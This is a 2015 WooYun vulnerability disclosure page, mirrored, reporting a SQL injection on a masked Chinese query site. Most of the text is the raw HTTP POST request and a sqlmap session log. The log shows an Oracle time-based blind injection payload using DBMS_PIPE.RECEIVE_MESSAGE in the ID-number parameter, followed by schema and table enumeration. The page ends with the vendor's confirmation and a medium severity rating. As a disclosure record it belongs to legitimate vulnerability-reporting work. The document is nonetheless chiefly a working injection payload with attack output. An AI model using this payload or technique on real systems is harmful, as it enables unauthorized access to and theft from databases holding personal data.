乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-02: 细节已通知厂商并且等待厂商处理中 2015-11-03: 厂商已经确认,细节仅向厂商公开 2015-11-13: 细节向核心白帽子及相关领域专家公开 2015-11-23: 细节向普通白帽子公开 2015-12-03: 细节向实习白帽子公开 2015-12-18: 细节向公众公开
RT
**.**.**.**/wscgsxxcx/jszcx.do
POST /wscgsxxcx/jszcx.do HTTP/1.1Host: **.**.**.**User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:41.0) Gecko/20100101 Firefox/41.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: **.**.**.**/wscgsxxcx/jszcx.doCookie: JSESSIONID=0000ZqZcPr54KsQAf1P5SyJMujt:-1Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 58sfzmhm=111111111111111111&dabh=111111111&type=jszcx&state=
sqlmap resumed the following injection point(s) from stored session:---Parameter: sfzmhm (POST) Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: sfzmhm=111111111111111111' AND 5120=DBMS_PIPE.RECEIVE_MESSAGE(CHR(81)||CHR(115)||CHR(69)||CHR(120),5) AND 'Utsv'='Utsv&dabh=111111111&type=jszcx&state=---[09:38:33] [INFO] the back-end DBMS is Oracleback-end DBMS: Oracle[09:38:34] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpartto database names on other DBMSes[09:38:34] [INFO] fetching database (schema) names[09:38:34] [INFO] fetching number of databases[09:38:34] [WARNING] time-based comparison requires larger statistical model, please wait..............................do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y[09:38:57] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors[09:39:04] [INFO] adjusting time delay to 1 second due to good response times[09:39:06] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'[09:39:06] [ERROR] unable to retrieve the number of databases[09:39:06] [INFO] falling back to current database[09:39:06] [INFO] fetching current database[09:39:06] [INFO] retrieved: QSWEBCGS_USER[09:40:07] [WARNING] on Oracle you'll need to use schema names for enumeration as the counterpart to database names on other DBMSesavailable databases [1]:[*] QSWEBCGS_USER
09:42:27] [INFO] adding words used on web page to the check list09:42:29] [INFO] retrieved: CUSTOMER09:42:37] [INFO] retrieved: CHART09:42:52] [INFO] retrieved: PUBLISHER09:42:55] [INFO] retrieved: METADATA09:42:57] [INFO] retrieved: LOCATIONS09:43:00] [INFO] retrieved: VIDEO09:43:03] [INFO] retrieved: PROMOTION09:43:14] [INFO] retrieved: SIZES09:43:16] [INFO] retrieved: ADMIN_LOGS09:43:23] [INFO] retrieved: PMA_HISTORY09:43:27] [INFO] retrieved: MUCROOMPROP09:43:30] [INFO] retrieved: DEPENDENT09:43:34] [INFO] retrieved: STUDENTS09:43:38] [INFO] retrieved: CLIENTS09:43:42] [INFO] retrieved: JIVEROSTER09:43:43] [INFO] retrieved: VOLUME09:43:50] [INFO] retrieved: OSC_PRODUCTS_TO_CATEGORIES09:43:59] [INFO] retrieved: MESSAGE_STATUSES09:44:29] [INFO] retrieved: EZ_WEBSTATS_CONF09:44:46] [INFO] retrieved: ALLOCATION09:44:47] [INFO] retrieved: DTB_CATEGORY_TOTAL_COUNT09:44:50] [INFO] retrieved: PAGECONTENT09:45:02] [INFO] retrieved: THOT_THEME09:45:08] [INFO] retrieved: DWE_PREDECESSORS09:45:11] [INFO] retrieved: PZ09:45:12] [INFO] retrieved: R1SIZE09:45:13] [INFO] retrieved: PRICEGROUP09:45:14] [INFO] retrieved: TBL_TECH09:45:15] [INFO] retrieved: AUDIT09:45:16] [INFO] retrieved: COMMAND09:45:18] [INFO] retrieved: ZIPS09:45:27] [INFO] retrieved: JOS_COMPONENTS09:45:31] [INFO] retrieved: TF_MESSAGES09:45:32] [INFO] retrieved: GEO_LAKE09:45:34] [INFO] retrieved: USER_PREFERENCES09:45:36] [INFO] retrieved: CREDENZIALI09:45:38] [INFO] retrieved: DIV_TREATMENT09:45:39] [INFO] retrieved: COCKTAIL_PERSON09:45:39] [INFO] retrieved: CDV_CURATED_ALLELE09:45:41] [INFO] retrieved: ACCOUNTUSER09:45:43] [INFO] retrieved: DESCRIPTIONS_LANGUAGES09:45:44] [INFO] retrieved: NOT_NULL_WITH_DEFAULT_TEST09:46:26] [INFO] retrieved: DUPTEST09:46:30] [INFO] retrieved: ADMINS09:46:49] [INFO] retrieved: CATEGORIES09:47:01] [INFO] retrieved: QRTZ_JOB_LISTENERS09:47:03] [INFO] retrieved: REF09:47:05] [INFO] retrieved: GRAPHS09:47:18] [INFO] retrieved: DTB_MAIL_HISTORY09:47:24] [INFO] retrieved: EW_TEMI09:47:26] [INFO] retrieved: PEER_CONFIG_CHILD_CONFIG09:47:26] [INFO] retrieved: CMAVAILABLESERVICEBINDING09:47:29] [INFO] retrieved: IPASSOCS09:47:31] [INFO] retrieved: CMSYSTEMUSER09:47:33] [INFO] retrieved: CHANNELITEMS09:47:37] [INFO] retrieved: WP_COMMENTS09:48:19] [INFO] retrieved: JOS_VM_SHOPPER_GROUP09:48:20] [INFO] retrieved: JOS_VM_CURRENCY09:48:23] [INFO] retrieved: JOS_VM_PRODUCT_DISCOUNT09:48:31] [INFO] retrieved: JOS_VM_PRODUCT_RELATIONS09:48:32] [INFO] retrieved: JOS_VM_ORDER_HISTORY09:48:34] [INFO] retrieved: BLACKLIST09:48:35] [INFO] retrieved: COST09:48:40] [INFO] retrieved: CONTACTTYPE09:48:41] [INFO] retrieved: CONTENT09:48:48] [INFO] retrieved: ADMINISTRATOR09:48:49] [INFO] retrieved: ARTICLES09:48:50] [INFO] retrieved: ARTIKEL09:48:51] [INFO] retrieved: AUTORE09:48:55] [INFO] retrieved: DRAGON_USERS09:49:02] [INFO] retrieved: LOGS09:49:31] [INFO] retrieved: SURVEYRESPONDENT09:49:38] [INFO] retrieved: TBLSTONECATEGORY09:49:40] [INFO] retrieved: CC_INFO09:49:42] [INFO] retrieved: CMS_ADMIN09:49:44] [INFO] retrieved: SITELOGIN09:50:00] [INFO] retrieved: QUANLY09:50:01] [INFO] retrieved: QUANTRI09:50:06] [INFO] retrieved: TBLNGUOIDUNGS09:50:10] [INFO] retrieved: TBL_USERACCOUNTS09:50:11] [INFO] retrieved: ADMIN_USERID09:50:15] [INFO] retrieved: USR_PASS09:50:17] [INFO] retrieved: DBSTUDENTS09:50:19] [INFO] retrieved: USERPASSWORD09:50:20] [INFO] retrieved: LASTLOGINDATE09:50:28] [INFO] retrieved: HERUNTERLADEN09:50:29] [INFO] retrieved: GLMM09:50:32] [INFO] retrieved: GLY09:51:02] [INFO] retrieved: ATTIVITA09:51:02] [INFO] retrieved: COMUNI09:51:18] [INFO] retrieved: SGA_XPLAN_TPL_V$SQL09:51:19] [INFO] retrieved: CONNECTIONS09:51:22] [INFO] retrieved: GWS_TEXT09:51:24] [INFO] retrieved: OIL_GOOGLE09:51:31] [INFO] retrieved: DISCIPLINE_UTENTI09:51:33] [INFO] retrieved: OIL_STATS_AGENTS09:51:35] [INFO] retrieved: SPIP_AUTEURS
危害等级:中
漏洞Rank:6
确认时间:2015-11-03 09:23
感谢提交!!验证确认所描述的问题,已通知其修复。
暂无